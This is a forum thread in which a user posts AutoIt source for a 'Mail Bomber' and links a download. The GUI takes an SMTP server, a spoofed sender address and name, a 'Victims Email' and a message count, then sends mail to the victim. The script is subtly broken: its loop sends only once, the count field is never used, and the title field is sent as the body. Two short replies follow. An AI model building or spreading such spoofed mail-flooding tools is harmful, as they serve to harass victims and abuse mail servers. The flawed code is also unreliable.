AutoIT - Mail Bomber

[little123]

Cod sursa mail bomber

#include <INet.au3>

#include <GUIConstants.au3>

#Region ### START Koda GUI section ### Form=

$Form1 = GUICreate("Risker's ~ Email Bomber", 335, 326, 193, 124)

$Group1 = GUICtrlCreateGroup("Email Specs", 8, 8, 313, 137)

$Label2 = GUICtrlCreateLabel("Your fake email", 16, 48, 77, 17)

$Label3 = GUICtrlCreateLabel("Victims Email", 16, 72, 65, 17)

$Input1 = GUICtrlCreateInput("Server Name", 120, 24, 169, 21)

$Yemail = GUICtrlCreateInput("Risker@skidforums.net", 120, 48, 169, 21)

$Vemail = GUICtrlCreateInput("Risker@hackerforums.com", 120, 72, 169, 21)

$Label1 = GUICtrlCreateLabel("SMTP Server ", 16, 24, 71, 17)

$Label6 = GUICtrlCreateLabel("Your fake name goes here", 16, 104, 79, 17)

$Input3 = GUICtrlCreateInput("Risker D3scene.com", 120, 104, 169, 21)

GUICtrlCreateGroup("", -99, -99, 1, 1)

$Group2 = GUICtrlCreateGroup("Email Info", 8, 152, 313, 121)

$Label4 = GUICtrlCreateLabel("Title", 16, 176, 24, 17)

$Input2 = GUICtrlCreateInput("Untitled", 80, 176, 233, 21)

$Label5 = GUICtrlCreateLabel("Subject", 16, 208, 40, 17)

$Input4 = GUICtrlCreateInput("Untitled", 80, 208, 233, 21)

$Body = GUICtrlCreateLabel("Body", 16, 240, 28, 17)

$Input5 = GUICtrlCreateInput("Body of email goes here", 80, 240, 233, 21)

GUICtrlCreateGroup("", -99, -99, 1, 1)

$Button1 = GUICtrlCreateButton("Send Send!!", 256, 280, 65, 33, 0)

$Label7 = GUICtrlCreateLabel("How many would you like to send?", 8, 288, 168, 17)

$Input6 = GUICtrlCreateInput("20", 192, 288, 57, 21)

GUISetState(@SW_SHOW)

#EndRegion ### END Koda GUI section ###

While 1

$nMsg = GUIGetMsg()

Switch $nMsg

Case $GUI_EVENT_CLOSE

Exit

case $button1

start()

EndSwitch

WEnd

func start()

$s_SmtpServer = guictrlread($input1)

$s_FromName = guictrlread($input3)

$s_FromAddress = guictrlread($yemail)

$s_ToAddress = guictrlread($vemail)

$s_Subject = guictrlread($input4)

$as_Body = guictrlread($input2)

Do

$i = 0

$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)

$i = $i + 1

if @error Then

msgbox (1,"Error","An Error has occured" & @crlf & @crlf & "Please double check every field filled out and/or try a different Smtp server")

ExitLoop

endif

until $i = 1

$err = @error

If $Response = 1 Then

MsgBox(0, "Success!!", "Mail sent")

Else

MsgBox(0, "Error!", "Mail failed with error code " & $err)

EndIf

endfunc

Mail Bomber download: FileShare Download Mail Bomber.rar

Edited January 21, 2011 by little123

[cmiN]

no screen, no

 formatting, no credits, no comments ... so useless.

[A25414N]

what program do u use bro..?

sorry i don't know much about programming.. hope u can explain